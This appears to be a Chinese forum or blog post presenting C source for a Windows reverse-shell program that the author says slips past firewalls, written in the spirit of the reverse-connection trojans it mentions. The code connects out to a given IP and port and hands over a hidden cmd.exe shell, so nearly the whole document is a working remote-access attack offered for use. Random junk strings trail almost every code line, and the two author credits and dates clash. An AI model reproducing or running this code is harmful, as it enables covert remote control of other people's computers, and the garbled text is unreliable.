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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 BYMi6wts  
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/* ============================== 9;B0Mq py  
Rebound port in Windows NT <x<"n t  
By wind,2006/7 ;u>DNG|.  
===============================*/ `nZ)>  
#include RE/~#k@a  
#include 1fZ(l"  
e=+?K5q{P(  
#pragma comment(lib,"wsock32.lib")  7*?}:  
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void OutputShell(); 2u5|8  
SOCKET sClient; HlH64w2^R  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %*L:sTj(  
G{6;>8h  
void main(int argc,char **argv) K5xX)oV  
{ [x,>?~6ek  
WSADATA stWsaData; :R~MO&  
int nRet; =fO5cA6Z  
SOCKADDR_IN stSaiClient,stSaiServer; mD^ jd+  
.p e(lP  
if(argc != 3) /\4'ddGU  
{ C,v(:ZE$J7  
printf("Useage:\n\rRebound DestIP DestPort\n"); pP*a  
return; uA#P'?  
} z{o' G3  
'LO^<  
WSAStartup(MAKEWORD(2,2),&stWsaData); :gep:4&u  
2fWTY0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `wDl<[V  
"-vW,7y  
stSaiClient.sin_family = AF_INET; f PM8f  
stSaiClient.sin_port = htons(0); *U P@9D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -i%e!DgH  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :{q < {^c  
{ u[DfzH  
printf("Bind Socket Failed!\n"); YJJB.hR+  
return; IX>d`O61*g  
} \uaJ @{Vug  
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stSaiServer.sin_family = AF_INET; Ir qZi1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O vk_\On  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); GJoS #s  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1$p2}Bf {n  
{ Q|D @Yd\  
printf("Connect Error!"); '|Kmq5)  
return; .O0 +H+  
} p(/dBt[3k  
OutputShell(); 'a\%L:`  
} .K p  
>8qQK r\"  
void OutputShell() paD!Z0v&  
{ 7r~~Y%=C|  
char szBuff[1024]; B4i!/@0s  
SECURITY_ATTRIBUTES stSecurityAttributes; g.zEn/SM  
OSVERSIONINFO stOsversionInfo; 3%%o?8ES  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fR*q?,  
STARTUPINFO stStartupInfo; f (F)1  
char *szShell; ".<DAs j  
PROCESS_INFORMATION stProcessInformation; "saUai4z  
unsigned long lBytesRead; \xnWciQ#{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5*,f Fib  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &8g?4v  
stSecurityAttributes.lpSecurityDescriptor = 0; ucG@?@JENm  
stSecurityAttributes.bInheritHandle = TRUE; 6 1F(<!  
93` AWg/T  
d;>#Sxf  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,^eYlmT>6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G"Sd@%W(  
VrxQc qPr`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :[hgxJu+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |~X ;1j!  
stStartupInfo.wShowWindow = SW_HIDE; L;'"A#Pa  
stStartupInfo.hStdInput = hReadPipe; b-{=s +:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (4dhuT  
K0 }p i +=  
GetVersionEx(&stOsversionInfo); cM$P`{QrM  
8>WC5%f*  
switch(stOsversionInfo.dwPlatformId) 2&^]k`Aj6D  
{ @jsDq Ln  
case 1: (?(zH3  
szShell = "command.com"; Z(ACc9k6:'  
break; `O[};3O&  
default: Cif>7]M  
szShell = "cmd.exe"; LYaZ1*  
break; o .qf _A  
} oBzfbg8p  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); uFPF!Ern  
8p@Piy{p  
send(sClient,szMsg,77,0); [g:$K5\64  
while(1) dVi!Q@y+  
{ jO1r)hw N>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (tZrw5 @  
if(lBytesRead) 9Bw|(J  
{ 5 ({t4dm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &' Ne! o8  
send(sClient,szBuff,lBytesRead,0); 9&_<f}ou  
} (<}&DE  
else bdF.qO9  
{ /$'AjIg4:&  
lBytesRead=recv(sClient,szBuff,1024,0); CJJzCVj  
if(lBytesRead<=0) break; :QB<?HaS'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 17G'jiY H  
} TTt#a6eJ  
} 7zSLAHW  
lMg+R<$~I  
return; j+["JXy  
}
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